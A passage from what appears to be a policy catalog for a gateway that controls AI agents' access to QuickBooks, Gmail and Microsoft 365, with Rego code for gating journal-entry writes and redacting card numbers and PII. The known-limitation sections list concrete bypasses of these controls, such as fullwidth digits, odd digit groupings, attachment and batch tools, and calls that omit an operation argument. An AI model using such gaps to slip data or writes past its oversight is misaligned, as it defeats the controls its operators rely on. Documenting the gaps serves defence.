exposes a period-status field over the wire. This policy approximates closed-period protection by confining the highest-risk restatement surface — manual journal entries — to the controller role. A controller can still post a journal entry into a genuinely closed period, and edits to *other* posted transaction types (invoices, bills, payments) are out of scope here. Pair with in-QuickBooks period-close/closing-date-password locking for the true control, and with PF-12/PF-09 for the other write surfaces. - **Group name is a placeholder — replace `controller` with your IdP's group name at import time.** It is matched against `input.subject.claims.groups`; if your IdP emits roles under a different claim (e.g. `roles`, or a namespaced claim like `https://acme.com/roles`), adjust the `caller_in_controller_group` rule accordingly. Many IdPs (including Auth0) require explicit configuration before group information reaches the token; if the claim never arrives, every caller fails closed and is denied. - **Intuit connector tool names are unverified.** The Claude connector directory does not publish the connector's tool names; this policy assumes the Intuit OSS server's `verb_entity` vocabulary (`create_journal_entry` / `update_journal_entry`). Capture the live `tools/list` through the gateway and confirm before relying on it, and layer `default-deny-unknown-tools` (PF-28) to catch names that don't match the `_journal_entry` suffix. - **Mega-tool argument path assumption.** For the archived `hvkshetry` server the verb lives in an argument. The DTwo gateway surfaces tool arguments under `input.payload.args`; the upstream MCP wire shape nests them under `params.arguments`. This policy reads `payload.args` (merged with `payload.arguments` for portability). If your gateway populates a different key, capture it with the dump-input technique and extend the accessor. - **Mega-tool name match is broad by design.** `transaction`/`reference` are matched by suffix, but the deny fires only when `operation` is create/update **and** `entity_type` normalizes to `journalentry`, so a same-named tool on an unrelated server without those arguments is not affected. - **Mega-tool with no readable `operation` passes through (documented residual).** The deny fires only when a write-class `operation` token is present *and* the entity normalizes to a journal entry. A `transaction`/ `reference` call that carries `entity_type: JournalEntry` but no `operation` at all cannot be classified as a create/update and is allowed. On the hvkshetry server `operation` is a required discriminator, so such a call fails at the server rather than posting a ledger write; if a future implementation defaults a missing `operation` to a write, tighten this rule. - **Ingress write-gate only.** This policy does not restrict *reading* journal entries or other ledger data; use egress redaction policies for that. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.ingress.protect_closed_periods_journal_entries # Deny-by-default: direct journal-entry writes are blocked unless the caller is # explicitly in the controller group. Every non-journal-entry call is allowed by # the first `allow` rule below. default allow := false # IdP group permitted to post/alter manual journal entries. Placeholder — # remap to the tenant's IdP group name at import time. Compared case-insensitively. controller_groups := {"controller"} # Tool name, lowercased and defensively defaulted. The gateway prefixes the # configured server name, so we match on the _journal_entry entity suffix. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Coerce a value to an object, defaulting to {} when it is not one. Keeps # object.union below from type-erroring (which would leave `qb_args` undefined # and silently disable the gate — a fail-open) if a gateway populates an # argument container with a scalar instead of an object. as_object(x) := x if is_object(x) as_object(x) := {} if not is_object(x) # Argument container: merge the generic gateway key (`args`, which the DTwo # gateway schema documents and which the mega-tool verb lands in) with the # `arguments` key some gateways populate, `arguments` winning on conflict. Only # the mega-tool branch reads arguments; the direct tools key on name alone. qb_args := object.union( as_object(object.get(object.get(input, "payload", {}), "args", {})), as_object(object.get(object.get(input, "payload", {}), "arguments", {})), ) # --- Direct journal-entry write tools (Intuit official / LibreChat) --- # Match the _journal_entry entity suffix together with the create/update verb, # so delete_journal_entry (PF-06) and get_/search_ reads are NOT caught. is_direct_je_write if { endswith(tool_name, "create_journal_entry") } is_direct_je_write if { endswith(tool_name, "update_journal_entry") } # --- hvkshetry mega-tools (transaction / reference) --- # The verb lives in the `operation` argument; the entity in `entity_type`. is_mega_tool if { endswith(tool_name, "transaction") } is_mega_tool if { endswith(tool_name, "reference") } # operation argument: stringified, lowercased, and with every non-alphanumeric # character stripped. Stripping all punctuation/whitespace (not just spaces) so a # verb split or decorated with separators — "cre-ate", "cre ate", "create " — # still exposes the "create"/"update" token to the substring check below and # cannot slip past the gate. "" when absent. mega_operation := regex.replace(lower(sprintf("%v", [object.get(qb_args, "operation", "")])), `[^a-z0-9]`, "") # entity_type argument normalized: stringified, lowercased, and with every # non-alphanumeric character stripped (not merely spaces/underscores/hyphens) so # JournalEntry, journal_entry, "journal entry", a punctuated "Journal.Entry", and # a wrapped ["JournalEntry"] all normalize to a string containing "journalentry". mega_entity := regex.replace(lower(sprintf("%v", [object.get(qb_args, "entity_type", "")])), `[^a-z0-9]`, "") # Write-class operation. Substring match (not equality) so an operation smuggled # as a wrapped/decorated value still trips the gate: an array ["create"] renders # via sprintf as `["create"]`, an object {"op":"create"} as `{"op": "create"}`, # and "createdraft" all contain the "create" token. Non-write ops (delete, void, # deactivate, get, search) contain neither "create" nor "update" and pass through. mega_op_is_write if contains(mega_operation, "create") mega_op_is_write if contains(mega_operation, "update") # Journal-entry entity discriminator, likewise substring not equality so a wrapped # value — e.g. ["JournalEntry"] which normalizes to `["journalentry"]`, or an # object carrying the name — still matches. No other QBO entity name contains the # "journalentry" token, so this does not over-catch. mega_entity_is_je if contains(mega_entity, "journalentry") # A mega-tool journal-entry create/update = a direct ledger restatement. is_mega_je_write if { is_mega_tool mega_op_is_write mega_entity_is_je } # Any direct journal-entry restatement, via either server style. is_journal_entry_write if { is_direct_je_write } is_journal_entry_write if { is_mega_je_write } # True only when the caller carries the controller group claim. Reads claims via # object.get chains so a missing subject/claims/groups fails closed (not-a-controller). caller_in_controller_group if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some group in object.get(claims, "groups", []) is_string(group) controller_groups[lower(group)] } # Allow anything that isn't a direct journal-entry write. allow if { not is_journal_entry_write } # Allow journal-entry writes only for controller callers. allow if { is_journal_entry_write caller_in_controller_group } # Deny a journal-entry write when the caller is not a controller. reasons contains "Direct journal-entry writes to the QuickBooks general ledger are restricted to the controller role. A manual journal entry restates the ledger without flowing through a normal transaction workflow, so it is gated for segregation of duties. Ask a controller to post the entry, or request the controller group from your finance systems administrator if you believe this is a false positive." if { is_journal_entry_write not caller_in_controller_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Mask Card Numbers in Email Content Read by Agents URL: https://www.intentbasedpolicy.com/policies/gmail/mask-pan-egress App(s): gmail | Direction: egress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: gmail.egress.mask_pan | Published: 2026-07-12 | Tags: gmail, mask-pan-egress, egress, email, cardholder-data, dlp, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/mask-pan-egress/policy.md # gmail / mask-pan-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `gmail.egress.mask_pan` ## What it does Masks payment-card-number (PAN) shapes in email content returned to agents by Gmail mailbox-read tools. When an agent reads a message, thread, or search result, any 13–19-digit card-number-shaped string in the response — with or without space/dash separators — is replaced with `[PAN REDACTED]` before the content reaches the agent. The policy never blocks a call. It declares `redact_patterns` that the gateway applies over the response text (`input.payload.text`), so mailbox reads keep working and only the card numbers are masked. Callers in a documented IdP group (placeholder: `pci-full-pan`) skip the transform and see unmasked content. The exemption is fail-closed: a caller with no claims, no `groups` claim, or a malformed `groups` claim is never exempt. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on movement/removal of information: masking PANs before mailbox content reaches the agent keeps cardholder data from being relayed out of Gmail over the MCP path. - **SOC 2 C1.1** — supports identification and protection of confidential information: card numbers are treated as confidential and masked on the agent channel by default, with full-PAN visibility limited to a defined role. - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the agent channel shows `[PAN REDACTED]` instead of full card numbers, with visibility of full PAN limited to a defined role (`pci-full-pan`). - **PCI DSS 3.4.2** — supports preventing copy/relocation of PAN via remote access: an agent that never receives the full PAN cannot re-post it into tickets, chats, or files. - **PCI DSS 12.5.2 / 12.10.7** — supports PCI scope control: masking on the mailbox-read path is a backstop against cardholder data creeping into agent context from email, one of the classic PAN-where-not-expected channels. - **CCPA/CPRA §1798.150** — supports reducing exposure of nonredacted personal information: card numbers surfaced to agents from mailboxes are redacted by default. - Also maps to **ISO 27001 A.8.11** (data masking) on the MCP path, if you track that framework. ## Tool name matching The policy matches Gmail mailbox-content read tools case-insensitively by suffix on `input.resource.name`, covering all three MCP-server vocabularies in real use: - `*get_thread` — Google official / Claude Gmail connector; its `FULL_CONTENT` format returns `plaintextBody` for every message in the thread, making this the main egress surface. - `*search_threads` — Google official / Claude connector; results include ~200-char body snippets. - `*read_email`, `*search_emails` — GongRzhe/Gmail-MCP-Server. - `*get_gmail_message_content`, `*get_gmail_thread_content`, `*get_gmail_messages_content_batch`, `*get_gmail_threads_content_batch`, `*search_gmail_messages` — taylorwilsdon/google_workspace_mcp, including the batch variants that return dozens of full bodies per call. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-mcp-get_thread`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and add suffixes if your Gmail MCP server uses different read-tool names. ## Patterns matched Conservative PAN shapes only — each pattern is commented in the Rego: - 16-digit PANs grouped 4-4-4-4 with space or dash separators (Visa/Mastercard/Discover print format). - 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN range. - Unseparated 13–19-digit runs (the ISO/IEC 7812 PAN length range). ## Response shape Egress transforms are applied by the gateway over the serialized response content blocks (`input.payload.text`). The patterns are byte-level and not JSON-aware, so they mask PANs wherever they appear in the response — `plaintextBody` fields, snippets, subjects — without the policy needing to parse the tool-specific JSON shape. ## Examples ### Transformed (masked) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gmail-mcp-get_thread", "type": "tool" }, "payload": { "name": "gmail-mcp-get_thread", "text": ["{\"messages\":[{\"plaintextBody\":\"Card: 4111 1111 1111 1111, exp 12/27\"}]}"] }, "subject": { "sub": "google-apps|casey@acme.com", "claims": { "groups": ["support"] } } } } ``` `allow = true`; `transform` emits the PAN patterns with replacement `[PAN REDACTED]`, so the agent sees `Card: [PAN REDACTED], exp 12/27`. ### Allowed unmasked (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gmail-mcp-get_thread", "type": "tool" }, "payload": { "name": "gmail-mcp-get_thread", "text": ["{\"messages\":[{\"plaintextBody\":\"Card: 4111 1111 1111 1111\"}]}"] }, "subject": { "sub": "google-apps|pci-analyst@acme.com", "claims": { "groups": ["pci-full-pan"] } } } } ``` `allow = true`, no transform — the caller is in the `pci-full-pan` group. ## Composition This policy masks card numbers only. Useful companions: - A companion Gmail **PII redaction** egress policy (PF-02 `redact-pii-egress`) for SSNs, national IDs, and credentials/secrets in mailbox content — one policy, one job; card data and broader PII are separate concerns with separate exemption groups. - `apps/gmail/cap-bulk-export` (PF-08) for volume control on the batch read tools (`get_gmail_messages_content_batch`, `get_gmail_threads_content_batch`, search `maxResults`) — masking does not stop mass harvesting of masked content. - `apps/gmail/guard-external-send` and `apps/gmail/guard-mailbox-persistence` for the outbound and persistence sides of the mailbox. ## Known limitations - **Regex cannot Luhn-validate.** Rego pattern matching is pure regex, so matches are card-number *shapes*, not verified PANs, and fixed-string replacement masks the entire match — BIN+last4 preservation (the usual PCI display format) is not achievable here; treat `[PAN REDACTED]` as the display format on the agent channel. - **Byte-level over-matching.** The patterns run over the serialized response bytes, so digit runs that merely look like PANs are masked too: 13-digit Unix millisecond timestamps, 13–19-digit order/tracking/account numbers, and digit-only 4-4-4-4 groups inside UUID-like identifiers. The grouped patterns require separators and the run pattern stops at 19 digits to limit this, but false positives are inherent — test against representative mailbox data. - **Obfuscated PANs are missed.** Card numbers split across content blocks, separated by characters other than space/dash (dots, unicode spaces), spelled out, inside images, or base64-encoded in MIME parts do not match. Runs of 20+ digits also do not match by design. Three regex edges are worth calling out explicitly, because a red-team review found them and they are inherent to the pattern set, not bugs: - **ASCII digits only.** The patterns use `\d`, which matches only `[0-9]`. Fullwidth (`4111…`) or Arabic-Indic (`٤١١١…`) digit variants are not masked. - **Only two grouped shapes.** Separated PANs are caught only in the 4-4-4-4 (16-digit) and 4-6-5 (Amex) print groupings. A PAN typed with spaces in some other arrangement (e.g. `41111111 11111111`, an 8+8 split, or `4111 111111111111`, a 4+12 split) matches neither the grouped patterns nor the unseparated-run pattern (the space breaks the run into sub-13-digit pieces). - **Word-boundary anchoring.** The unseparated-run pattern requires a word boundary on both sides, so a digit run glued directly to letters (`card4111111111111111x`) is not masked. Real mailbox content almost always surrounds numbers with quotes/spaces/punctuation, so this is a contrived rather than common evasion — but it is a true residual. - **Only mailbox-body read tools are matched — draft/label/filter reads are not.** The suffix allowlist deliberately covers message/thread/search content tools only. The Google/Claude connector's `list_drafts`, and the community servers' label/filter listing reads (`list_email_labels`, `list_filters`, `get_filter`, `list_gmail_labels`, `list_gmail_filters`), are **not** matched, so a card number sitting in a draft body (e.g. a human-composed draft the agent reads back via `list_drafts`) is returned unmasked. This is a scoping choice, not a fix: draft/label/filter response shapes vary and `list_drafts` may return only metadata on some servers. If drafts routinely carry cardholder data in your environment, either add `list_drafts` (and your server's draft-read suffix) to `mailbox_read_suffixes` after verifying its response shape with the dump-input technique, or gate draft reads at ingress with a group-gated deny. - **Attachment content is not maskable.** `get_gmail_attachment_content` (taylorwilsdon) and `download_attachment` (GongRzhe) return base64/binary data that byte-level regex cannot reliably mask — deliberately out of scope here. Gate those tools at ingress instead (e.g. a group-gated deny policy on attachment-content tools). - **Egress masking only.** The card number still exists in the mailbox and in Gmail's own UI; this policy controls what the *agent* sees on the MCP path. - **Group names are placeholders** — replace `pci-full-pan` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; confirm your IdP emits a `groups` claim (see the DTwo identity-claims documentation). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gmail.egress.mask_pan # Transform-only policy — never denies, only masks card-number shapes # in mailbox content returned to the agent. default allow := true # Conservative PAN-shaped patterns. These are applied byte-level over the # serialized response, so each is anchored with \b word boundaries to limit # over-matching. Pure regex cannot Luhn-validate — matches are card-number # shapes, not verified PANs (see Known limitations). pan_patterns := [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). # Separators are required here; unseparated PANs are caught by the # digit-run pattern below. `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5 with space or dash # separators, constrained to the 34/37 IIN range (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range # (Visa 13/16, Mastercard 16, Amex 15, Discover 16, JCB 16-19). # Runs of 20+ digits never match: there is no word boundary inside a # digit run, so this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ] # Gmail mailbox-content read tools across the three MCP-server vocabularies # in real use (Google official / Claude connector, GongRzhe, taylorwilsdon). # The gateway prefixes tool names with the configured server name, so we # match on the suffix to stay portable. Attachment-content tools are # deliberately absent — base64/binary output is not regex-maskable; gate # those at ingress instead. mailbox_read_suffixes := [ # Google official / Claude connector — FULL_CONTENT returns plaintextBody # for every message in the thread (the main egress surface). "get_thread", # Google official / Claude connector — results carry body snippets. "search_threads", # GongRzhe/Gmail-MCP-Server. "read_email", "search_emails", # taylorwilsdon/google_workspace_mcp, incl. high-volume batch variants. "get_gmail_message_content", "get_gmail_messages_content_batch", "get_gmail_thread_content", "get_gmail_threads_content_batch", "search_gmail_messages", ] is_mailbox_read_tool if { name := lower(input.resource.name) some suffix in mailbox_read_suffixes endswith(name, suffix) } # Callers in the placeholder full-PAN group see unmasked content. # Fail-closed: missing subject, missing claims, missing groups, or a # malformed groups claim all leave this rule undefined, so the transform # applies. The is_array guard is load-bearing: without it a groups claim # shaped as an object (e.g. {"role":"pci-full-pan"}) would iterate its # *values* and match, granting the exemption to a caller who never held # the group in an array. Requiring an array keeps every non-array shape # (string, object, number, null) fail-closed. # Replace "pci-full-pan" with your IdP's group name at import time. caller_may_view_full_pan if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "pci-full-pan" } # Mask PAN shapes in mailbox-read responses for non-exempt callers. transform := { "redact_patterns": pan_patterns, "replacement": "[PAN REDACTED]", } if { input.mode == "output" is_mailbox_read_tool not caller_may_view_full_pan } ``` ### Microsoft 365: Redact PII from Mail, Files & Transcripts URL: https://www.intentbasedpolicy.com/policies/ms365/redact-pii-egress App(s): ms365 | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: ms365.egress.redact_pii | Published: 2026-07-12 | Tags: ms365, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/redact-pii-egress/policy.md # ms365 / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `ms365.egress.redact_pii` ## What it does Scans the responses of the highest-density PII read surfaces in Microsoft 365 — mail bodies, Excel ranges, SharePoint list items, meeting transcripts, and Teams messages — and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Payment card (PAN) | 16-digit 4×4 groups, **Luhn-validated** in Rego | `[REDACTED-PAN]` | | IBAN | contiguous ISO 13616 shape (either letter case), **mod-97-checksum-validated** in Rego | `[REDACTED-IBAN]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`) | `[REDACTED-PHONE]` | Matches are replaced in place, leaving the surrounding structure intact so message metadata, spreadsheet layout, and transcript flow remain usable. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through unchanged. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error — they simply pass through. Mailboxes are the universal PII sink in an M365 tenant — HR, finance, and support mailboxes routinely hold payroll data, PHI, and cardholder data — and Excel ranges plus SharePoint lists are where structured financial/HR records live. This policy is the primary minimum-necessary control on the M365 MCP read path. ### Group exemption Callers whose IdP `groups` claim contains `pii-readers` (a placeholder name — see Known limitations) receive **unredacted** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in M365 content as it leaves the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `pii-readers` group members see raw identifiers; everyone else gets working content with identifiers masked. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, account numbers, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content (mailboxes, transcripts); **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. - **PCI DSS 3.4.1** — supports masking of the PAN when displayed: 16-digit, Luhn-validated card numbers surfaced in M365 mail, Excel ranges, SharePoint items, and transcripts are rewritten to `[REDACTED-PAN]` before the response reaches the agent, so cardholder data that lands in M365 content is not exposed on the MCP read path (see Known limitations for the Amex/Diners and grouping coverage gaps). ## Why egress The PII already lives in the tenant — there is nothing to block at ingress, and denying mail/spreadsheet/transcript reads outright would make the agent useless for everyday work. The leak happens when content is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. ## Tool name matching Applies on the output path (`input.mode == "output"`) to tools matched case-insensitively **by suffix** (with a leading hyphen, so `-get-mail-message` cannot accidentally match `-get-shared-mailbox-message`). The tool name is read from `input.resource.name`, with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across gateway server-name prefixes (observed live as `ms365-`). Tool names are the softeria `ms-365-mcp-server` inventory, verified from a live gateway deployment: - Mail: `-get-mail-message`, `-list-mail-messages`, `-list-mail-folder-messages`, `-get-shared-mailbox-message` - Excel / SharePoint: `-get-excel-range`, `-get-excel-used-range`, `-list-excel-table-rows`, `-list-sharepoint-site-list-items` - Teams: `-get-meeting-transcript-content`, `-list-chat-messages`, `-list-channel-messages` Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend the suffix set for any other content-returning tools your deployment exposes (see Known limitations for the adjacent read surfaces deliberately not matched here). ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "ms365-get-mail-message", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["marketing"] } }, "payload": { "name": "ms365-get-mail-message", "text": ["Employee SSN: 123-45-6789, card 4111 1111 1111 1111"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Employee SSN: [REDACTED-SSN], card [REDACTED-PAN]"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "ms365-get-mail-message", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["pii-readers"] } }, "payload": { "name": "ms365-get-mail-message", "text": ["Employee SSN: 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `pii-readers` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions for `apps/ms365`: - **A deny policy for `-download-bytes` and `-get-mail-message-mime`** (ingress) — those tools return base64/MIME content this policy cannot scan (see Known limitations). A `role-gate-writes`-style baseline leaves them reachable because they are reads, so regulated tenants should add a companion deny or group-gate for them. - A `deny-escape-hatches`-style ingress deny for `-graph-batch`, which reaches the same mailbox/file data through raw Graph calls whose response shapes this policy does not match. - A `cap-bulk-export`-style ingress guard that strips `fetchAllPages` from Excel reads, bounding the blast radius of any redaction miss. - A `guard-external-send` ingress policy so content redacted on read is not simply mailed out instead. ## Known limitations - **`-download-bytes` and `-get-mail-message-mime` are not covered — deny or group-gate them.** Both return base64/MIME-encoded content that regex redaction cannot parse, so PII inside attachments, raw MIME messages, and binary downloads passes through any pattern-based egress policy untouched. This policy deliberately does not match them; pair it with an ingress deny (or an IdP-group gate) on those two tools. Note that a read-only baseline such as `role-gate-writes` still allows them (they are reads), so a companion deny is recommended for regulated tenants. - **`fetchAllPages` amplifies misses.** Excel read tools accept a `fetchAllPages` argument (up to 100 pages), which turns a single read into a bulk export — any PII shape this policy's conservative patterns miss is then missed at scale. Pair with an ingress guard that strips or denies `fetchAllPages` for non-exempt callers. - **`-graph-batch` bypasses per-tool matching.** Arbitrary batched Graph requests return the same data under a different tool name and response shape. Deny it for non-admin callers. - **Adjacent read surfaces are not matched.** The suffix set covers the highest-density PII surfaces verified in the landscape inventory. Related tools — `-list-shared-mailbox-messages`, `-list-mail-attachments`, `-get-chat-message`, `-list-chat-message-replies`, `-list-channel-message-replies`, `-search-query`, `-get-meeting-recording-content` (binary), OneNote page reads, and drive item reads — are not in the set. Extend `pii_read_suffixes` to taste. - **Pattern-based detection is best-effort.** Conservative by design: SSNs are matched in hyphenated form only (bare 9-digit runs collide with Graph object IDs); IBANs only in contiguous form (spaced `DE89 3704 …` grouping is not matched) and only when the ISO 13616 mod-97 checksum passes; phones only in separator-formatted US shapes. Obfuscated, split-across-blocks, spelled-out, or image-embedded values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **PAN detection is 16-digit-only, and Luhn is not the sole gate.** A card-shaped number is redacted only when it is **16 digits** presented contiguously or in single-`[- ]`-separated 4×4 groups **and** passes the Luhn check — the length/shape filter runs *before* Luhn. As a result, PANs that are Luhn-valid but not 16-digit-4×4 pass through unredacted: **15-digit Amex** (4-6-5 grouping), **14-digit Diners**, and 13/19-digit card ranges, as well as any 16-digit card grouped with dots (`4111.1111.1111.1111`), double spaces, or slashes. If your tenant handles Amex/Diners or non-standard groupings on the M365 read path, pair this with a broader card DLP control (or extend `pan_pattern` and the `[- ]` separator class) — do not rely on this policy alone for full PAN coverage. - **Phone detection needs a separator after the area code.** Separator- formatted US shapes are matched (`206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`), but `(206)555-0100` with no space after the closing parenthesis, and bare 10-digit runs, are not. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings). If your gateway emits structured non-string blocks, verify their shape with the dump-input technique. - **Group names are placeholders — replace `pii-readers` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. - **Softeria naming assumed.** Suffixes are the softeria `ms-365-mcp-server` names. The Anthropic-hosted Microsoft 365 connector does not traverse a customer gateway at all (a coverage gap to flag, not a policy target), and Lokka-style single-tool Graph passthrough servers defeat name-based matching entirely — this policy will not fire for them. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.egress.redact_pii # Transform-only egress policy: rewrites PII in Microsoft 365 content-returning # tool responses to fixed redaction tokens before the response reaches the # agent. Never denies. Callers in the placeholder `pii-readers` IdP group # receive unredacted responses; the group check fails closed, so a caller with # missing claims gets over-redaction, never disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: the highest-density PII read surfaces of the softeria # ms-365-mcp-server (names verified from a live gateway deployment). The # gateway prefixes tool names with the configured MCP server name (observed # live as `ms365-`), so we match by suffix; the leading hyphen keeps # `-get-mail-message` from matching `…-get-shared-mailbox-message` or other # near-miss names. # ----------------------------------------------------------------------------- pii_read_suffixes := { # Mail bodies — HR/finance/support mailboxes are the universal PII sink "-get-mail-message", "-list-mail-messages", "-list-mail-folder-messages", "-get-shared-mailbox-message", # Excel ranges + SharePoint list items — structured financial/HR records "-get-excel-range", "-get-excel-used-range", "-list-excel-table-rows", "-list-sharepoint-site-list-items", # Teams — verbatim recorded conversations and chat history "-get-meeting-transcript-content", "-list-chat-messages", "-list-channel-messages", } is_pii_read_tool if { input.mode == "output" some suffix in pii_read_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_pii_read_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in pii_read_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "pii-readers" with your IdP's group name at import time. # object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"pii-readers"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # Graph object IDs and raw phone digits, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # 16-digit card-shaped runs in 4x4 groups with optional space/hyphen # separators. Candidates are only redacted after passing the Luhn check below — # a matching shape alone is not enough. pan_pattern := `\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b` # IBAN in contiguous ISO 13616 form: two country letters (either case, since # real IBANs are sometimes transmitted lowercased), two check digits, then # 11-30 alphanumerics (15-34 chars total). Word-boundary anchored, so it never # fires inside longer alphanumeric runs (base64 blobs, Graph IDs). Candidates # are only redacted after passing the mod-97 checksum below, which keeps the # looser letter class from adding false positives. iban_pattern := `\b[A-Za-z]{2}[0-9]{2}[A-Za-z0-9]{11,30}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). Bare 10-digit runs are deliberately not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Luhn check — validates card-shaped candidates so invoice/reference numbers # that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # 